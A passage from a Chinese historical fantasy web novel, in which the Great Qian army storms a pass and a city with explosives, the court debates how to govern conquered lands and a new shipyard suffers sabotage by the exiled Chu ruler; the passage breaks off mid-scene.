栈道狭窄,兵力无法展开,守军只需几轮箭雨滚木,便能将进攻部队葬送在深涧之中。 “赵将军。”楚惜灵清冷的声音在身侧响起。 她一身靛蓝工装,外罩防水油布斗篷,清秀的脸上沾着泥点,眼神却锐利如鹰,正举着特制的“千里镜”,仔细观察着崖壁和关隘。 “楚夫人可有良策。”赵武声音嘶哑。 楚惜灵放下千里镜,指向绝壁顶端:“鹰愁关倚仗天险,然其后方崖顶却无重兵设防。” 赵武顺着她指的方向望去,只见千仞绝壁顶端,云雾缭绕,怪石嶙峋,确实不见守军踪迹。 “崖顶距关垂直落差约三百丈。”楚惜灵声音平稳,“若能攀上崖顶,以焚天雷定点爆破,摧毁关隘后墙或箭楼,则天险自破。” “攀上崖顶?”赵武眼中凶光一闪,“如何攀?” “焚雷卫特遣队可一试。”楚惜灵道,“已备好特制攀岩铁爪绳索及飞天神爪。” “好!”赵武猛地一拍大腿,“楚大人需要多久准备。” “一日夜。”楚惜灵道,“需掩护佯攻吸引守军注意。” “善!”赵武眼中凶光爆射,“明日拂晓本将亲率前军佯攻栈道!为焚雷卫创造时机!” 夜色如墨,寒风呼啸。 鹰愁涧的激流声掩盖了所有细微的声响。 数十名焚雷卫特遣队员,身着特制的深色紧身衣,背负沉重的“焚天雷”炸药包、绳索及攀岩工具,如同壁虎般,悄无声息地潜入涧底。 他们避开湍急的主流,沿着湿滑的岩壁,在黑暗中摸索前行。 楚惜灵亲自带队,清冷的眼眸在夜色中闪烁着微光。 她动作敏捷而精准,如同最灵巧的山猫,在嶙峋的怪石间攀援。 特制的铁爪深深嵌入岩缝,坚韧的绳索在黑暗中无声地延伸。 “放飞天神爪!”楚惜灵低喝。 “嘭!嘭!嘭!” 数声沉闷的机括声响起! 数支带着倒钩的粗大弩箭,拖着长长的绳索,如同毒蛇般射向数百丈高的崖顶! 弩箭精准地卡在崖顶的石缝或树根之间! “上!”楚惜灵率先抓住绳索,双脚蹬在岩壁上,借助绳索和铁爪,开始向上攀爬! 动作迅捷而稳健!其余焚雷卫紧随其后! 这是一场与死神赛跑的攀爬! 寒风如刀,抽打着他们的身体。 湿滑的岩壁,随时可能失足坠落。 沉重的装备,消耗着巨大的体力。 黑暗中,只有绳索摩擦岩石的细微声响和队员们粗重的喘息。 数个时辰后,天际微白。 楚惜灵第一个攀上崖顶! 寒风凛冽,吹得她斗篷猎猎作响。她迅速伏低身体,目光扫过崖顶。 果然,只有几处简陋的哨棚,哨兵早已在寒风中昏昏欲睡。 “清除哨兵!”楚惜灵声音冰冷。 数道黑影如同鬼魅般扑出! 寒光闪过! 哨兵甚至来不及发出声响,便已毙命! “布置炸药!”楚惜灵迅速指挥。 焚雷卫们如同精密的机器,迅速行动。 他们避开关隘正面,潜行至关隘后墙及两侧箭楼下方。 特制的“焚天雷”炸药包被小心翼翼地安置在关键承重位置,引信连接。 “准备就绪!”队员低声回报。 楚惜灵看了一眼山下。 栈道方向,隐约传来喊杀声和箭矢破空声! 赵武的佯攻已经开始! “引爆!”楚惜灵果断下令! “嗤嗤嗤。” 引信被点燃,发出细微的燃烧声! “撤!”楚惜灵低喝! 焚雷卫们迅速后撤,寻找掩体! “轰隆——” “轰隆——” “轰隆——” 数声震天动地的巨响! 如同天罚降临! 整个鹰愁涧都在剧烈颤抖! 碎石如暴雨般从崖顶滚落! 鹰愁关的后墙,在恐怖的爆炸中轰然坍塌!露出巨大的缺口! 两侧的箭楼如同被巨锤砸中的积木,瞬间垮塌! 碎石、木屑、守军的残肢断臂混合着烟尘冲天而起! 关隘内的南楚守军被这突如其来的爆炸彻底炸懵!哭喊声、惨叫声响成一片!防御体系瞬间崩溃! “杀——!” 山下栈道尽头,赵武枯瘦的脸上刀疤扭曲,眼中凶光爆射!他拔出腰刀,发出野兽般的嘶吼! “焚天雷开道!冲啊!” 早已蓄势待发的大乾玄甲精锐,如同决堤的洪水,沿着栈道,冲向那被炸开的巨大缺口!火铳的射击声如同爆豆般响起! 铅弹如同死亡风暴,席卷关内! “焚雷卫!掷弹!”赵武怒吼! 紧随其后的焚雷卫掷弹手,迅速架设掷弹筒! “嘭!嘭!嘭!” “轰!轰!轰!” “焚天雷”小型弹丸如同冰雹般落入混乱的关隘内! 爆炸声连绵不绝,火光冲天,守军成片倒下! “杀!”赵武身先士卒,挥舞长刀,冲入缺口! 刀光过处,血肉横飞! 他如同疯虎,所向披靡! 南楚守军在内外夹击、爆炸与火铳的肆虐下,彻底崩溃! 残兵败将哭喊着向关内深处逃窜! 鹰愁关,这座号称“飞鸟难渡”的天险,在焚雷卫的奇袭与赵武的铁血冲锋下,宣告陷落! 就在鹰愁关血战正酣之际,闽越前线。 林臻玄甲黑氅,立于中军高台之上。 他深邃的目光,越过前方连绵起伏、密林覆盖的山峦,望向南楚残部盘踞的最后堡垒——“铁壁城”。 “报!”传令兵飞驰而至,“赵武将军急报,鹰愁关已破,焚雷卫奇袭成功,赵将军正率部追击残敌!” “善。”林臻嘴角勾起一丝冰冷的弧度。 鹰愁关一破,岭南门户洞开,吴彪残部已成瓮中之鳖。 “传令!”林臻声音低沉,却带着雷霆万钧之力,“三军听令!” “在!”众将齐声应诺,声震山谷! “前军火铳营列阵!压制城头!” “中军焚天雷炮阵!目标铁壁城城门及主楼!饱和轰击!” “左军右军重甲步兵!待炮火延伸即刻攻城!” “焚雷卫掷弹队!随步兵推进!清除障碍!摧毁据点!” “骑兵两翼包抄!截断敌退路!” “总攻开始!” “呜——!呜——!呜——!” 凄厉的号角声划破长空! “轰!轰!轰!轰!” 数百门“焚天雷”野战炮同时发出怒吼! 密集的炮弹如同流星火雨,狠狠砸向铁壁城! 坚固的城门在恐怖的爆炸中瞬间化为齑粉! 高大的主楼在连续的轰击下轰然倒塌! 城墙上碎石横飞,守军血肉模糊! “砰砰砰!砰砰砰!” 火铳营排成整齐的队列,密集的弹雨如同钢铁风暴,压制的城头幸存的守军抬不起头! “杀!” 炮火延伸!重甲步兵如同移动的钢铁堡垒,发出震天的怒吼,冲向被炸开的城门和城墙缺口! 焚雷卫掷弹手紧随其后,“焚天雷”小型弹丸精准地投入守军聚集点和箭楼之中! “轰!轰!轰!” 爆炸声此起彼伏!火光冲天!烟尘弥漫! 大乾的铁蹄,踏着南楚守军的尸体和废墟,涌入铁壁城! 火铳的射击声、兵刃的碰撞声、垂死的惨嚎声,交织成最后的毁灭乐章! 闽越的天空,被硝烟与火光染红。 第785章 遁逃南洋 岭南鹰愁涧的硝烟尚未散尽,闽越铁壁城的废墟仍在燃烧。 大乾玄色蟠龙旗,在瘴疠弥漫的山谷与海风呼啸的崖岸上,猎猎飘扬。 赵武部如疯虎出柙,踏着鹰愁关的断壁残垣,衔尾追杀溃不成军的吴彪残部。 林臻坐镇闽越,以铁血手腕肃清负隅顽抗的南楚余孽,同时开始着手构建新朝在东南的统治根基。 南楚的国祚,在焚天雷的烈焰与大乾铁蹄的碾压下,已彻底化为历史的尘埃。 然而,战争的结束,并不意味着硝烟的彻底熄灭。 岭南腹地,十万大山深处。 参天古木遮天蔽日,藤蔓缠绕如巨蟒,潮湿闷热的空气中弥漫着腐叶与瘴气的混合气味。 吴彪率领的数千残兵败将,如同丧家之犬,仓皇逃入这片天然的迷宫。 他们熟悉地形,化整为零,利用险峻的山势、幽深的溶洞、湍急的溪流,与追击的大乾军队展开残酷的丛林游击战。 “报!赵将军!前方发现敌踪!约三百人据守毒龙潭隘口!”斥候浑身泥泞,气喘吁吁地回报。 赵武枯瘦的脸上刀疤狰狞,眼中凶光爆射:“毒龙潭?哼!找死!焚雷卫何在!” “在!”一队身着重甲、背负掷弹筒的焚雷卫齐声应诺。 “给老子轰开那条毒虫的老窝!”赵武嘶吼。 “是!” 焚雷卫迅速架设掷弹筒,动作娴熟如机械。黝黑的“焚天雷”小型弹丸被填入筒中。 “放!” “嘭!嘭!嘭!” “轰!轰!轰!” 剧烈的爆炸在毒龙潭隘口炸响,火光冲天,泥浆、碎石、断木混合着守军的残肢断臂四散飞溅,狭窄的隘口瞬间被炸开! “杀!”赵武一马当先,挥舞长刀,如同嗜血的饿狼,冲入硝烟弥漫的隘口! 身后玄甲精锐紧随其后,火铳齐鸣,刺刀如林! “啊——!”南楚残兵在爆炸与火铳的双重打击下,瞬间崩溃,哭喊着四散奔逃,却被熟悉地形的大乾士兵分割包围,逐一绞杀。 “吴彪何在!”赵武抓住一名俘虏,厉声喝问。 “不知,将军他往鬼见愁方向跑了”俘虏瑟瑟发抖。 “追!”赵武眼中凶光更盛,“传令各部封锁所有出山要道,悬赏万金取吴彪首级,凡有窝藏者诛九族!” 岭南的密林深处,一场血腥的猫鼠游戏仍在继续。 赵武如同最老练的猎手,指挥着大军,如同梳篦般梳理着十万大山,将南楚最后的抵抗力量,一点点碾碎、清除。 闽越,铁壁城废墟之上。 临时搭建的中军大帐内,气氛肃杀而忙碌。 “报!元帅!泉州海寇头目郑三炮率部三千献城归降!” “报!漳州南楚残将李勇据守虎跳峡负隅顽抗已被焚雷卫全歼!” “报!福州士绅联名上书恭贺新朝并献上粮草万石以示归顺!” 一份份战报与奏报如同流水般呈递到林臻案前。 他玄甲已卸,身着玄色常服,端坐主位,神色沉静如水,深邃的眼眸扫过每一份文书,指尖在粗糙的军用地图上缓缓划过。 “郑三炮归降”林臻声音低沉,“准!着令其部编为靖海营驻守泉州协助清剿沿海流寇!若再生异心立斩!” “李勇伏诛甚好。”他目光落在虎跳峡的位置,“传令嘉奖有功将士!首级悬于城楼示众三日!以儆效尤!” “福州士绅”林臻眼中闪过一丝锐利,“其心可嘉,然需甄别,着令新任闽越安抚使妥善安置严密监控,凡有阳奉阴违者严惩不贷!” “是!”传令兵躬身领命。 “楚霸天可有踪迹。”林臻放下地图,目光如电,扫向肃立一旁的绣衣卫指挥使。 指挥使单膝跪地,声音带着一丝凝重:“回禀元帅,据多方线报及抓获南楚余孽供述楚霸天与其丞相陈元确已逃出闽越沿海疑似乘船遁入南洋海域,具体去向不明,已加派快船精干探子沿海搜寻并联络南洋诸岛商贾暗探悬赏重金追查!” “南洋,”林臻眼中寒光一闪,“丧家之犬倒也会选地方,传令,沿海各州府水师加强巡防,严查过往船只,凡有可疑者一律扣押,凡有提供楚霸天确切行踪者赏黄金万两,封侯爵!” “遵命!” 林臻声音转沉,“着令工部焚雷司即刻勘察闽越沿海良港,选址筹建新式船厂,打造远洋战舰,南洋非化外之地,楚霸天既敢遁入其中我大乾水师必犁庭扫穴追至天涯海角!” “是!”工部尚书李崇与焚雷司主事楚惜灵齐声应诺。 楚惜灵清冷的眼眸中,闪过一丝锐利的光芒。 金陵城,紫宸殿。 慕容嫣一身明黄龙袍,端坐于重新打造的九龙金椅之上,凤冠霞帔,仪态雍容,威严日盛。殿内,文武百官肃立,气氛庄严肃穆。 “启禀陛下!”兵部尚书赵武枯瘦的脸上带着风霜与杀气,声音嘶哑却洪亮,“岭南残敌已肃清!吴彪负伤遁入深山末将已布下天罗地网不日定将其首级献于阙下!” “善!”慕容嫣凤眸含威,“赵卿辛苦!岭南初定需能臣镇守。着令吏部速选干吏赴任!安抚黎庶恢复生产!” “臣遵旨!”吏部尚书陆文渊躬身。 “启禀陛下!”新任闽越安抚使王允出列,声音沉稳,“闽越诸城已定!海寇大部归降或剿灭!沿海秩序渐复!新式船厂选址已定不日即可动工!” “甚好!”慕容嫣颔首,“王卿闽越乃新朝东南门户海疆重地!务必用心!” “臣定当鞠躬尽瘁!”王允肃然道。 “楚霸天遁逃南洋”慕容嫣凤眸扫过群臣,声音转冷,“此獠不除终为心腹之患!着令沿海水师加紧操练!新式战舰务必速成!待时机成熟朕当亲遣水师远征南洋!犁庭扫穴!永绝后患!” “陛下圣明!”群臣齐声高呼。 慕容嫣声音清越,带着不容置疑的威严,“南楚已灭,江南岭南闽越尽入版图,此乃新朝开疆拓土之伟业,着令礼部钦天监择吉日于金陵紫金山设坛祭天,告慰列祖列宗,昭告天下,大赦天下,与民更始!” “臣等遵旨!吾皇万岁!万岁!万万岁!”群臣山呼海啸,声震殿宇! 金陵城外,紫金山巅。 寒风凛冽,旌旗招展。 新筑的祭天台高耸入云,气势恢宏。 慕容嫣一身庄重繁复的祭天冕服,在文武百官及十万精锐的拱卫下,缓步登上祭台。 林臻玄色蟒袍,紧随其后,身姿挺拔如松。 礼乐庄严,钟鼓齐鸣。 慕容嫣手持玉圭,面向苍茫天地,声音清越而神圣: “皇天在上后土在下,朕慕容嫣承天命统御万方!今赖祖宗庇佑将士用命扫平南楚廓清寰宇!江南岭南闽越万里疆土尽归王化!此乃天意所归,民心所向!” “朕谨以至诚告祭天地!祈风调雨顺!国泰民安!佑我大乾江山永固!盛世绵长!” “万岁!万岁!万万岁!”山呼海啸般的呐喊,响彻云霄,震撼天地! 林臻立于慕容嫣身侧,深邃的目光扫过脚下壮丽的山河。 长江如带,秦淮如练,更远处,是刚刚纳入版图的岭南群山与闽越海疆。 玄色蟠龙旗,从北疆的雪原,一直飘扬到南海的波涛。 第786章 打造远洋战舰 金陵,紫宸殿。 深冬的晨光透过高耸的琉璃窗棂,洒在光洁如镜的金砖地面上,映照着殿内庄严肃穆的蟠龙金柱与肃立的文武百官。 空气中弥漫着淡淡的龙涎香与一种无形的威压。殿内鸦雀无声,唯有炭火盆偶尔发出轻微的噼啪声。 九龙金阶之上,女帝慕容嫣端坐于御座。 她身着玄黑镶金边的繁复凤袍,袍身以金线绣满展翅欲飞的凤凰图腾,在晨光下流淌着耀眼的金色光泽。 宽大的袍袖垂落,袖口处玄黑底子上用细密的金线勾勒出祥云纹路。 最引人注目的,是那长达两丈的拖尾,如同一条流淌的金河,铺陈在御阶之上,华贵威严,令人不敢直视。 凤冠高耸,珠帘垂落,掩映着她清丽绝伦却冷若冰霜的容颜。凤眸开阖间,神光湛然,带着睥睨天下的帝王威仪。 林臻一身玄色蟠龙亲王常服,外罩同色薄氅,端坐于御阶之下左侧首位。 他身姿挺拔如松,深邃的眼眸平静无波,如同深潭古井,扫视着殿下群臣,带着一种沉静而强大的气场。 两人一上一下,一金一玄,如同日月同辉,共同主宰着这座象征着帝国最高权力的殿堂。 “有事启奏,无事退朝。”内侍总管尖细的声音穿透殿内的寂静。 “臣有本奏”兵部尚书赵武枯瘦的身影率先出列,刀疤狰狞的脸上带着尚未散尽的杀伐之气,声音嘶哑如破锣, “启禀陛下,元帅南楚已灭,然其地初定,岭南闽越山高林密民风彪悍,且楚霸天余孽遁逃南洋恐暗中煽动,臣以为当驻以重兵行军管,严刑峻法,以儆效尤,凡有异动者杀无赦,如此方可震慑宵小,保新土安宁” 赵武话音落下,殿内气氛骤然一紧。武将队列中,不少将领微微颔首,显然认同这种铁血手段。 “赵尚书此言差矣”新任吏部尚书陆文渊立刻出列反驳,声音清朗沉稳,“南楚虽灭,然其民非敌,乃我大乾新子民,岭南闽越百姓久受战乱之苦民生凋敝,若再行军管高压恐适得其反,激起民变,反为不美” 他转向御座,躬身道:“陛下,元帅臣以为当以安抚为主,轻徭薄赋,选派贤能流官赴任,推行教化,开科举以纳士心,通商路以活经济,使民安居乐业,则民心自附根基自固。” “陆尚书此言,未免书生意气,”户部尚书张衡出列,面带忧色,“安抚教化固然重要,然耗费巨万,南楚新附百废待兴,国库虽丰然北疆防务新都营建南洋水师筹建,皆需巨资若再减免赋税恐入不敷出,臣以为赋税当按旧制五成征收以充国用。” “五成?”工部尚书李崇皱眉,“张尚书,南楚百姓久经战乱,元气大伤,五成赋税无异于杀鸡取卵,恐民不聊生,臣以为当减至三成休养生息。” “三成?”张衡声音拔高,“李尚书,巧妇难为无米之炊,三成赋税如何支撑国用。” “臣附议,”新任闽越安抚使王允出列,声音沉稳,“陛下,元帅,臣亲历闽越安抚深知民情,南楚旧吏盘剥甚重百姓苦不堪言,若新朝仍重税恐失民心,臣斗胆请减免赋税至三成并免除一年徭役,同时严惩贪腐,旧吏清丈田亩抑制豪强如此方显新朝仁政。” “王大人所言不无道理。”新任岭南安抚使(原金陵副将)出列,“然岭南瘴疠之地,交通闭塞,豪强林立,部族众多,若无重兵震慑恐政令难行,臣以为当驻军与安抚并行驻军保境安民,安抚施政惠民。” 群臣各执一词,争论不休。 主战派主张高压震慑,文官派主张怀柔安抚,户部担忧财政,地方官强调民情。殿内气氛凝重,如同拉紧的弓弦。 慕容嫣凤眸微抬,珠帘轻晃,目光扫过争论的群臣,最终落在身侧林臻身上:“夫君以为如何。” 林臻缓缓起身,玄色身影在殿内投下修长的影子。他深邃的目光平静地扫过众人,声音低沉而清晰,穿透殿内的嘈杂: “南楚新附,治理当刚柔并济,恩威并施。” 他目光转向赵武:“赵尚书所言重兵震慑乃必要。然非军管高压。岭南闽越各驻精锐五万扼守要冲清剿残匪,维持秩序,震慑宵小,然军士不得扰民违者军法从事。” “是。”赵武虽有不甘,但仍躬身领命。 林臻目光转向陆文渊、王允等人:“陆尚书王大人所言安抚惠民乃根本。着令” “其一。岭南闽越新附之地赋税一律减至三成免除一年徭役。” “其二,吏部即刻选派干练清廉之流官,赴任严查旧吏贪腐清丈田亩抑制豪强,凡有鱼肉百姓者严惩不贷。” “其三,礼部会同国子监选派饱学之士,赴任兴办官学推行教化开科举,选拔当地贤才。” “其四,户部工部焚雷司会同地方即刻勘测规划修葺道路桥梁,疏浚河道,开通商路,促进流通。” “其五,”林臻声音转沉,“焚雷司格物院于岭南闽越沿海择良港加速筹建新式船厂,打造远洋战舰,南洋追缉楚霸天不容懈怠。” “臣等遵旨,”被点名的各部尚书及安抚使齐声领命。 “张尚书”林臻看向户部尚书,“赋税虽减然开源节流并举。南洋海贸利润丰厚新辟商路潜力巨大工矿开发亦可增收户部当精打细算确保国用。” “是臣定当竭尽全力,”张衡躬身,心中压力倍增,却也看到希望。 林臻目光如电,扫视群臣,“凡有阳奉阴违,阻挠新政,煽动民变,勾结外敌者,无论官职大小背景如何,一经查实立斩不赦诛九族。” 冰冷的话语,带着森然杀意,瞬间让殿内温度骤降。群臣噤若寒蝉,无人敢再言。 慕容嫣缓缓起身。 玄黑镶金的凤袍拖尾,随着她的动作,在金砖地面上缓缓滑动,发出细微而清晰的“沙沙”声,如同金蛇游走,在寂静的大殿中格外清晰。 那长达两丈的拖尾,如同流淌的金河,铺陈在御阶之上,彰显着无上的威严。 她凤眸扫过殿下肃立的群臣,声音清越而威严,带着不容置疑的决断: “夫君所议甚善,刚柔并济,恩威并施乃治国安邦之道。着令各部依议执行不得有误。” “岭南闽越乃新朝疆土,其民乃朕之子民,朕望诸卿同心戮力,抚平战火创伤,再造江南岭南闽越之繁华,使万民安居乐业共享太平。” “此乃国策昭告天下一体施行。” “陛下圣明元帅英明臣等遵旨。”群臣齐声高呼,声震殿宇。 慕容嫣微微颔首,玄黑镶金的凤袍拖尾随着她转身的动作,在金砖地面上划出一道华丽而庄重的弧线,发出悠长的“沙沙”声。 她缓步走向后殿,林臻玄色身影紧随其后。 帝后二人的身影消失在御阶之后,只留下那威严的余韵和空气中若有若无的龙涎香气,以及群臣心中对那片新附之地治理蓝图的清晰轮廓。 第787章 人为破坏 金銮殿的庄严肃穆,被江南冬日的湿冷与岭南的瘴疠气息所取代。 慕容嫣与林臻定下的“刚柔并济”之策,如同投入平静湖面的巨石,在广袤的南楚故地激起层层涟漪。 减免赋税、免除徭役的皇榜张贴在岭南的峒寨、闽越的渔村、江南的市镇,引来无数百姓的围观与议论。 然而,新政的推行,远非一纸诏令那般简单。 暗流在平静的水面下汹涌,旧势力的反扑、新秩序的碰撞、以及那远遁南洋的阴影,正悄然汇聚。 岭南,十万大山深处,“黑石峒”。 峒寨依山而建,竹楼错落,云雾缭绕。 新任岭南安抚使李岩,一身青色官袍,带着数名随从及一小队玄甲护卫,跋涉数日,终于抵达这处被视为“化外之地”的峒寨。 寨门前,峒主盘雄率数十名精壮峒丁,手持竹矛、砍刀,眼神警惕而桀骜地拦住了去路。 气氛瞬间紧绷。 “盘峒主”李岩拱手,声音沉稳,“本官奉大乾女帝陛下及镇北王元帅之命前来宣示新政,减免赋税免除徭役与民更始,望峒主率众归化共享太平,” “减免赋税?”盘雄冷笑一声,声音粗犷,“汉官的话能信?前朝南楚也说减税结果层层加码,比山里的毒蛇还狠,” “此乃陛下亲笔诏书,”李岩展开明黄卷轴,玄色蟠龙旗在风中猎猎作响,“大乾天朝言出必行,绝无虚言,” “哼,”盘雄眼中闪过一丝犹豫,却仍强硬道,“就算减税又如何,我们峒人世代居此山林自给自足无需官府管束,你们汉人的规矩我们不懂也不守,” “峒主,”李岩声音转沉,“普天之下莫非王土,率土之滨莫非王臣,黑石峒既在大乾疆域之内便需遵王法,陛下仁德减免赋税免除徭役乃天恩,峒主若执意抗拒便是抗旨,后果自负,” “抗旨?”盘雄眼中凶光一闪,手中砍刀猛地指向李岩,“那就看看是你们的王法硬还是我们峒人的刀硬,” “保护大人,”玄甲护卫队长厉喝,瞬间拔刀出鞘,数名护卫迅速结阵,将李岩护在身后,火铳手举起火铳,黑洞洞的铳口对准峒丁, 气氛剑拔弩张,一触即发, 李岩面沉如水,手按腰刀,目光如电:“盘峒主,本官再问一次,接旨还是不接,” 盘雄看着那森然的火铳口,又看了看李岩身后那面威严的蟠龙旗,眼中挣扎之色更浓。 他身后的峒丁,也面露惧色,脚步微退。 “峒主”一个苍老的声音从寨内传来。 一位白发苍苍的峒老拄着拐杖走出,“大乾天兵破南楚如摧枯拉朽非我等可敌且减免赋税确是好事不如。” 盘雄脸色变幻不定,最终,他猛地将砍刀插在地上,发出一声闷响:“好,我盘雄接旨,但若官府言而无信欺压我峒民我黑石峒上下必血战到底,” “峒主放心,”李岩收起诏书,声音缓和,“大乾律法森严,凡有欺压百姓者无论汉蛮皆严惩不贷,本官在此立誓,” 一场风波,在武力的威慑与怀柔的承诺下,暂时平息。 然而,李岩深知,这仅仅是开始。 岭南千峒百寨,根深蒂固的排外与对新政的疑虑,如同山间的瘴气,弥漫不散。 闽越,泉州湾。 寒风卷起咸腥的海浪,拍打着新建的码头。 巨大的“镇海级”铁甲战舰如同钢铁巨兽,停泊在深水港内,黑洞洞的炮口遥指大海。 岸边,一座规模宏大的新式船厂正在热火朝天地建设中。 巨大的蒸汽吊车轰鸣着,将沉重的龙骨吊装到位。 工地上,工匠、民夫穿梭如织,号子声、铁锤敲击声、蒸汽机的嘶鸣声交织成一片。 焚雷司主事楚惜灵,一身靛蓝工装,外罩防水油布斗篷,清冷的脸上沾着油污,正站在一处高台上,手持千里镜,仔细观察着船坞的施工进度。 她身边,围着几名焚雷卫的工程师和船厂管事。 “楚大人这飞鱼级快船的龙骨拼接工艺还是有偏差、”一名工程师指着图纸,眉头紧锁。 楚惜灵放下千里镜,接过图纸,清冷的眼眸扫过复杂的线条:“此处榫卯结构需重新计算应力改用格物院新研的‘十字嵌合’法。另蒸汽轮机传动轴的密封材料强度不足易泄露高温蒸汽需更换为‘硫化橡胶’复合材料。” 她语速不快,却字字清晰,直指要害。 工程师们连忙记录,面露钦佩。 “楚大人,楚大人,”船厂管事气喘吁吁地跑来,脸色焦急,“不好了,昨夜船厂西区存放精铁板材的仓库失火,虽及时扑灭但损失不小,而且有人发现仓库外墙有人为破坏的痕迹,” 楚惜灵清冷的眼眸瞬间锐利如刀:“人为破坏?” “是,”管事擦着汗,“还有前日负责蒸汽轮机核心部件铸造的刘师傅家中遭贼,图纸虽未丢失,但工具被毁人也受了惊吓。” “哼,”楚惜灵冷哼一声,“南洋的爪子伸得够长,” 她转身,对一名焚雷卫军官道:“传令,船厂即刻进入一级戒备,增派焚雷卫巡逻,严查所有进出人员,凡有可疑者一律扣押,彻查。” “是,” “另,”楚惜灵声音冰冷,“通知绣衣卫闽越千户所,彻查此案,凡有通敌破坏者无论是谁揪出幕后主使,格杀勿论,” “是,” 楚惜灵望向波涛汹涌的大海,清冷的眼眸中寒光闪烁。 船厂的建设,关乎南洋战略,不容有失,楚霸天的阴影,如同海上的迷雾,正试图阻挠大乾的锋芒。 南洋,星罗群岛深处,一座隐秘的岛屿。 椰林掩映下,几座简陋的木屋依山而建。 海浪拍打着礁石,发出单调的轰鸣。 木屋内,气氛压抑。楚霸天一身粗布麻衣,须发凌乱,面色憔悴,眼中布满血丝,早已不复昔日帝王威仪。 丞相陈元垂手立于一旁,神情颓丧。 “陛下。”一名皮肤黝黑、精悍短小的海盗头目单膝跪地,声音沙哑,“泉州船厂那边得手了,烧了他们一批精铁还吓跑一个老师傅,够他们喝一壶了,” “好,”楚霸天眼中闪过一丝病态的兴奋,随即又被更深的阴鸷取代,“做得好,赏,” “谢陛下,”独眼鲨咧嘴一笑,露出满口黄牙。 “不过,”陈元忧心忡忡道,“陛下此举虽能延缓大乾造船进度,但也暴露了我们的行踪,大乾绣衣卫和焚雷卫绝非等闲。” “怕什么,”楚霸天猛地一拍桌子,眼中闪烁着疯狂的恨意,“朕已一无所有,还怕他们追查?慕容嫣,林臻,毁我江山,杀我子民,此仇不共戴天,朕只要还有一口气就要让他们不得安宁。” 他喘着粗气,眼中凶光更盛:“传令下去,联络各岛对大乾不满的土王海寇,告诉他们大乾水师一旦建成下一个目标就是他们,唇亡齿寒,让他们给朕提供钱粮船只人手,朕要组建一支新的舰队,袭扰大乾沿海,劫掠他们的商船,让他们永无宁日。” “是,”独眼鲨眼中闪过一丝贪婪与狠厉。 “还有,”楚霸天声音阴冷,“派人潜入岭南闽越煽动那些不服管束的峒寨豪强,告诉他们大乾的减免赋税是骗局,是为了麻痹他们,等站稳脚跟就会加倍盘剥,让他们起来反抗,让慕容嫣和林臻后院起火。” “陛下英明,”陈元连忙附和,心中却一片冰凉。他知道,这不过是困兽犹斗,但已别无选择。 海浪依旧拍打着礁石,木屋内,复仇的毒焰在黑暗中熊熊燃烧。南洋的暗流,正悄然汇聚,试图反噬那新生的帝国。 第788章 船厂失火 紫宸殿。 慕容嫣一身玄黑镶金凤袍,拖尾两丈,在金砖地面上缓缓移动,发出细微而清晰的“沙沙”声。 她端坐御座,凤冠珠帘下,容颜清冷。 林臻玄色常服,坐于其侧,目光深邃。 阶下,岭南安抚使李岩、闽越安抚使王允、焚雷司主事楚惜灵、绣衣卫指挥使肃立,气氛凝重。 “李卿,岭南峒寨情形如何。”慕容嫣声音清越。 “回禀陛下,”李岩躬身,“新政已宣示各峒,然峒人疑虑甚深,黑石峒盘雄虽勉强接旨但态度强硬,臣恐其反复,其余峒寨观望者甚众,” “恩威并施。”林臻声音低沉,“峒寨自治可暂允。然必须接受官府管辖,赋税可减但法度必守,着令驻军加强巡防,凡有作乱苗头即刻扑灭,同时选派通晓峒语之流官深入峒寨宣讲新政传授农耕医药之术,以实惠取信于民,” “臣遵旨,”李岩领命。 “王卿闽越船厂之事,”慕容嫣凤眸转向王允。 “陛下,”王允面色凝重,“船厂遭人破坏精铁损失工匠受惊,焚雷司楚大人已加强戒备,绣衣卫正在全力追查,据初步线索疑为南洋海寇所为且可能与楚霸天有关,” “楚霸天,”慕容嫣凤眸中寒光一闪,“丧家之犬犹敢逞凶,” “南洋海寇袭扰沿海商船之事近日也频发,”绣衣卫指挥使沉声道,“手法凶残目标明确专挑大乾商船,疑有组织有预谋,背后恐亦有楚霸天影子,” “哼,”林臻冷哼一声,“跳梁小丑垂死挣扎,” 他目光如电,扫过众人:“传令,” “其一闽越船厂防护等级提升,焚雷卫增派精锐,格物院加速研发新式战舰,工期不得延误,” “其二沿海水师加强巡逻,凡遇海盗格杀勿论,悬赏重金鼓励商船自卫,凡有擒杀海盗者赏,” “其三绣衣卫加大对南洋情报渗透,务必查明楚霸天确切藏身之所,及其联络之海寇土王,” “其四”林臻声音转沉,带着森然杀意,“通告南洋诸岛,凡有收留包庇楚霸天或为其提供钱粮船只者皆视同与我大乾为敌,大乾水师所至玉石俱焚,” “臣等遵旨,”众人齐声应诺,殿内杀气凛然。 慕容嫣缓缓起身,玄黑镶金的凤袍拖尾在金砖地面上划出庄重的弧线,“沙沙”声清晰可闻。她凤眸扫视群臣,声音清越而威严: “楚霸天不过疥癣之疾,南洋海寇亦非心腹之患,然其行可诛,其心可诛,” “新朝初立百废待兴,然犯我大乾者虽远必诛,此乃国策,不容置疑,” “诸卿当戮力同心,内安黎庶,外御强敌,扫清寰宇,扬我国威,” “陛下圣明,元帅英明,臣等万死不辞,”群臣山呼,声震殿宇, 慕容嫣与林臻对视一眼,深邃的目光中,是同样的坚定与决绝。 ...... 金陵的晨钟穿透薄雾,紫宸殿的肃穆尚未散去,林臻的玄色车驾已驶出帝京巍峨的城门。 沉重的车轮碾过官道,留下两道深痕,如同帝国意志刻在大地上的印记。 目标:闽越。 南巡的仪仗精简却威严,玄甲亲卫簇拥着那辆覆盖蟠龙纹饰的玄铁马车,蹄声如雷,卷起一路烟尘。 车厢内,林臻闭目养神,玄色常服衬得他面容沉静,唯有指尖无意识地摩挲着一枚温润的羊脂玉佩,深邃的眼眸深处,酝酿着闽越的风暴。 泉州港的海风带着特有的咸腥与湿冷,吹拂着新立起的“镇海船厂”巨幅匾额。 当林臻的玄色蟠龙旗出现在港口时,空气骤然凝固。 新任闽越安抚使王允率大小官吏、驻军将领、以及被“请”来的当地豪强海商代表,早已在新建的码头广场上肃立恭候。 气氛凝重得如同暴风雨前的海面。 林臻缓步下车,玄色大氅在风中微扬。 他没有看那些躬身行礼的官员,目光如冰冷的探针,扫过那些衣着华贵、眼神闪烁的豪强海商。 其中,以“海龙王”郑三炮和“泉州首富”沈万金最为显眼。 “郑三炮。”林臻声音不高,却清晰地穿透海风,落入每个人耳中。 郑三炮魁梧的身躯微微一颤,连忙上前一步,抱拳躬身:“末将在。” “你的靖海营,巡防海域,可有斩获。”林臻问。 “回元帅,”郑三炮声音发紧,“近日确有击溃小股海盗三起缴获船只两艘。” 